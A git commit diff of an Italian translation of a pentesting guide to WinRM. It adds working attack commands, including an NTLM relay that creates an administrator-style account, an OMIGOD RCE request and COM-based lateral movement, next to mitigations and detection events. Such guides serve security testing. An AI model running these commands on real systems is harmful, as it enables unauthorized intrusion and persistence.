Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:19 +00:00
parent 4385d62acf
commit 1ca54d78c3

View File

@ -15,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen
### **Iniziare una sessione WinRM**
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -28,9 +28,9 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
```
Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
### Testare se configurato
### Verifica se configurato
Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
- Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
```bash
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
@ -220,8 +220,73 @@ end
- `port:5985 Microsoft-HTTPAPI`
---
## Vulnerabilità Recenti e Tecniche Offensive (2021-2025)
### Relay NTLM direttamente a WinRM (WS-MAN)
Dalla versione 0.11 di Impacket (Maggio 2023) `ntlmrelayx.py` può rilanciare le credenziali NTLM catturate direttamente a un listener **WS-MAN**/WinRM. Quando un host continua ad ascoltare su **HTTP non criptato (5985)**, un attaccante può combinare *mitm6* (o *Responder*) per forzare l'autenticazione e ottenere l'esecuzione di codice a livello SYSTEM:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Mitigazioni
* Disabilita i listener HTTP `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* Forza HTTPS e abilita la Protezione Estesa per l'Autenticazione (EPA) sulle versioni recenti di Windows.
### OMIGOD CVE-2021-38647 (Azure OMI)
Gli agenti Linux di Azure utilizzano il servizio **Open Management Infrastructure (OMI)** che espone l'API WinRM/WS-MAN sulle porte **5985/5986**. Un errore logico ha consentito **RCE non autenticato come root**:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
Patch o rimuovi OMI (versione ≥ 1.6.8-1) e blocca quelle porte da Internet.
### Abuso di WSMan.Automation COM per movimento laterale
WinRM può essere controllato senza PowerShell tramite l'oggetto COM `WSMan.Automation` utile su sistemi in modalità Constrained-Language. Strumenti come *SharpWSManWinRM* avvolgono questa tecnica:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
La catena di esecuzione (`svchost → wmiprvse → cmd.exe`) è identica al classico PS-Remoting.
---
## Aggiornamenti degli strumenti
* **Evil-WinRM v3.x (2024)** ora supporta l'autenticazione **Kerberos** (`-k` / `--spn`) e l'autenticazione **basata su certificato** (`--cert-pem`/`--key-pem`), registrazione delle sessioni (`-L`) e la possibilità di disabilitare il completamento del percorso remoto (`-N`).
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** offre WinRM e PS-Remoting da Linux, inclusi CredSSP e Kerberos:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **Rilevamento** monitora il registro **Microsoft-Windows-WinRM/Operational**:
* Evento 91 / 163 shell creata
* Evento 182 errore di autenticazione
* Nel registro di Sicurezza, l'evento 4262 registra l'IP sorgente (aggiunto nei CUs di luglio 2022).
Raccogli questi dati centralmente e invia avvisi su IP anonimi o esterni.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Riferimenti
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Comandi Automatici